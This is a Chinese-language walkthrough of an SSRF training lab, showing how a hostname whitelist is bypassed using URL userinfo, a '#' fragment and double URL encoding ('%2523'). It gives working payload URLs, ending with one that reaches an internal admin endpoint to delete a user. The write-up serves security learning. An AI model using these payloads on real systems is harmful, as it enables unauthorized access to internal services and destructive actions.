# SSRF Lab7 本題要繞過 SSRF 白名單保護機制,利用 URL 認證資訊(userinfo) 和 雙重 URL 編碼(%2523) 來混淆伺服器的解析行為。 概要: - 這個功能會從 stockApi 參數中的 URL 對內部伺服器發出請求,但會做「白名單比對 hostname」以防止 SSRF。 一樣進入網站攔截請求。 ![image](https://hackmd.io/_uploads/B1Fg-8QSeg.png) ![image](https://hackmd.io/_uploads/Hyg1kP7rel.png) 嘗試輸入我們一般的 `127.0.0.1` 那些都會被過濾掉。 ![image](https://hackmd.io/_uploads/BJIz1w7See.png) 轉換道路去輸入: ``` http://username@stock.weliketoshop.net/ ``` 在這個 Lab 裡,伺服器會檢查 host 字串是否在白名單中,比如: ``` allowed_hosts = ["stock.weliketoshop.net"] ``` 但攻擊者可以提供這樣的 URL: ``` http://localhost@stock.weliketoshop.net/ ``` 這樣伺服器檢查 `host = stock.weliketoshop.net`。 但真正發出 HTTP 請求時,有些後端庫會以 localhost 當作目標主機去連線,因為他們把 userinfo 的 `localhost@` 誤當成了 hostname! 結果就發送請求到 `http://localhost/`,SSRF 成功 。 所以接著嘗試用 `#` 片段混淆 hostname: ``` http://username#@stock.weliketoshop.net/ ``` 作用是讓瀏覽器跳到網頁中的某個位置(像是 `<div id="bottom">`),不會發送給伺服器。 ``` https://example.com/page#section2 ``` 瀏覽器只會發 request 到: ``` https://example.com/page ``` ![image](https://hackmd.io/_uploads/BkCqgw7Bel.png) 失敗,所以更進一步嘗試雙重混淆。 ``` http://localhost:80%2523@stock.weliketoshop.net/ ``` - `%2523`:雙重 URL 編碼,瀏覽器解析成 `%23` - `%23`:是 `#` 的 URL 編碼 所以最終伺服器內部會解析為: ``` http://localhost:80#@stock.weliketoshop.net/ ``` 對內部解析器來說,真正 hostname 是 localhost,成功繞過白名單。 ![image](https://hackmd.io/_uploads/rJKOZw7rge.png) 所以我們再加上刪除使用者的連結。 ``` http://localhost:80%2523@stock.weliketoshop.net/admin/delete?username=carlos ``` ![image](https://hackmd.io/_uploads/rJf0ZDXHge.png) ![image](https://hackmd.io/_uploads/ByjRbv7Bxe.png) ---